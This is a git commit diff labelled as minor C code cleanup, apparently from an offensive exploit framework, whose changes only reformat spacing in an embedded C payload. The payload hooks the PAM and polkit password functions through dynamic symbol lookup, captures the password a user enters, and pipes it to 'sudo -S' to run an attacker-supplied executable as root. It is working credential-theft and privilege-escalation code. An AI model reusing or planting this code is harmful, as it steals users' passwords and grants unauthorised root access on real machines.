Do minor c code cleanup

bug/bundler_fix
jvazquez-r7 2014-12-24 15:45:38 -06:00
parent 92113a61ce
commit 43ec8871bc
1 changed files with 9 additions and 7 deletions

View File

@ -174,23 +174,25 @@ struct pam_message {
int msg_style;
const char *msg;
};
struct pam_response {
char *resp;
int resp_retcode;
};
struct pam_conv {
int (*conv)(int num_msg, const struct pam_message **msg,
struct pam_response **resp, void *appdata_ptr);
void *appdata_ptr;
};
void run_sudo(char* password){
FILE* sudo = popen("sudo -S #{exe_file}","w");
void run_sudo(char* password) {
FILE* sudo = popen("sudo -S #{exe_file}", "w");
fprintf(sudo,"%s\\n",password);
pclose(sudo);
}
int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr){
int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr) {
struct pam_conv *orig_pam_conversation = (struct pam_conv *)appdata_ptr;
int i;
int passwd_index = -1;
@ -199,14 +201,14 @@ int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **r
passwd_index = i;
}
}
int result = orig_pam_conversation->conv(num_msg,msg,resp,orig_pam_conversation->appdata_ptr);
int result = orig_pam_conversation->conv(num_msg, msg, resp, orig_pam_conversation->appdata_ptr);
if(passwd_index >= 0){
run_sudo(resp[passwd_index]->resp);
}
return result;
}
int pam_start(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh) __attribute__((export)){
int pam_start(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh) __attribute__((export)) {
static int (*orig_pam_start)(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh);
if(!orig_pam_start){
orig_pam_start = dlsym(RTLD_NEXT,"pam_start");
@ -217,13 +219,13 @@ int pam_start(const char *service_name, const char *user, const struct pam_conv
return orig_pam_start(service_name, user, my_pam_conversation, pamh);
}
void polkit_agent_session_response (void *session, char *response) __attribute__((export)){
void polkit_agent_session_response (void *session, char *response) __attribute__((export)) {
static void *(*orig_polkit_agent_session_response)(void *session, char* response);
if(!orig_polkit_agent_session_response){
orig_polkit_agent_session_response = dlsym(RTLD_NEXT,"polkit_agent_session_response");
}
run_sudo(response);
orig_polkit_agent_session_response(session,response);
orig_polkit_agent_session_response(session, response);
return;
}
|